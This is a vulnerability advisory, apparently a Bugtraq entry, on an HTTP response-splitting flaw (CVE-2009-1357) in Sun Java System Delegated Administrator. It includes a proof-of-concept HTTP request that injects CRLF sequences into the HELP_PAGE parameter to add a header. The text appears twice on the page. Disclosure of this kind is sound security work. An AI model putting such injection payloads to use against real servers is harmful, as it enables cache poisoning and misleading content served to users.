Sun Java System Delegated Administrator HTTP Response Splitting Vulnerability
BID:34643
Info
Sun Java System Delegated Administrator HTTP Response Splitting Vulnerability
| Bugtraq ID: | 34643 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-1357 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 21 2009 12:00AM |
| Updated: | Apr 21 2009 12:00AM |
| Credit: | SCS team from Core Security Technologies |
| Vulnerable: |
Sun Java System Delegated Administrator 6.4 Sun Java System Delegated Administrator 6.3 Sun Java System Delegated Administrator 6.2 |
| Not Vulnerable: | |
Discussion
Sun Java System Delegated Administrator HTTP Response Splitting Vulnerability
Sun Java System Delegated Administrator is prone to an HTTP response-splitting vulnerability because it fails to sufficiently sanitize user-supplied data.
Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.
Sun Java System Delegated Administrator is prone to an HTTP response-splitting vulnerability because it fails to sufficiently sanitize user-supplied data.
Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.
Exploit / POC
Sun Java System Delegated Administrator HTTP Response Splitting Vulnerability
To exploit this issue, an attacker must entice an unsuspecting victim into following a malicious URI.
The following example HTTP session is available:
$ openssl s_client -connect <server>:443
GET
/da/DA/Login?Login.HelpHREF=http://www.example.com/&com_sun_web_ui_popup=false&HELP_PAGE=/help/%0AX-Tag:%20Core%20Security%20Technologies%0A%0D&jato.pageSession=
HTTP/1.1
Host: <server>
HTTP/1.1 302 Moved Temporarily
Server: Sun-Java-System-Web-Server/7.0
Date: Mon, 20 Apr 2009 18:21:48 GMT
Cache-control: private
Location: <server>
X-Tag: Core Security Technologies
Content-length: 0
Content-type: text/htm
To exploit this issue, an attacker must entice an unsuspecting victim into following a malicious URI.
The following example HTTP session is available:
$ openssl s_client -connect <server>:443
GET
/da/DA/Login?Login.HelpHREF=http://www.example.com/&com_sun_web_ui_popup=false&HELP_PAGE=/help/%0AX-Tag:%20Core%20Security%20Technologies%0A%0D&jato.pageSession=
HTTP/1.1
Host: <server>
HTTP/1.1 302 Moved Temporarily
Server: Sun-Java-System-Web-Server/7.0
Date: Mon, 20 Apr 2009 18:21:48 GMT
Cache-control: private
Location: <server>
X-Tag: Core Security Technologies
Content-length: 0
Content-type: text/htm
Solution / Fix
Sun Java System Delegated Administrator HTTP Response Splitting Vulnerability
Solution:
The vendor has released fixes and an advisory. Please see the references for more information.
Solution:
The vendor has released fixes and an advisory. Please see the references for more information.
References
Sun Java System Delegated Administrator HTTP Response Splitting Vulnerability
References:
References:
- Sun Homepage (Sun Microsystems )
- CORE-2009-0114 - HTTP Response Splitting vulnerability in Sun Delegated Administ (CORE Security Technologies Advisories
- HTTP Response Splitting vulnerability in Sun Delegated Administrator (CORE Security Technologies)
- Solution 255928 : Security Vulnerability with HTTP Response Splitting in Sun (Sun)